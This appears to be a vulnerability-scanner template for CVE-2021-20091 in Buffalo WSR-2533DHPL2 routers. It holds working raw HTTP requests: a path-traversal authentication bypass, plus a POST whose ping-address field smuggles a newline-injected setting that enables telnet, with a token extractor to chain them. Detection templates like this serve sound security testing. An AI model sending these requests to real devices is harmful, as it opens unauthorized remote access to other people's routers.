47 lines
1.7 KiB
YAML
47 lines
1.7 KiB
YAML
id: CVE-2021-20091
|
|
|
|
info:
|
|
name: Buffalo WSR-2533DHPL2 - Configuration File Injection
|
|
author: gy741,pdteam,parth
|
|
severity: critical
|
|
description: |
|
|
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
|
|
reference: |
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20091
|
|
- https://www.tenable.com/security/research/tra-2021-13
|
|
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
|
|
tags: cve,cve2021,buffalo,firmware,iot
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /images/..%2finfo.html HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{{{BaseURL}}}}/info.html
|
|
|
|
- |
|
|
POST /images/..%2fapply_abstract.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{BaseURL}}/info.html
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "/Success.htm"
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: httoken
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- 'base64\,(.*?)" border=' |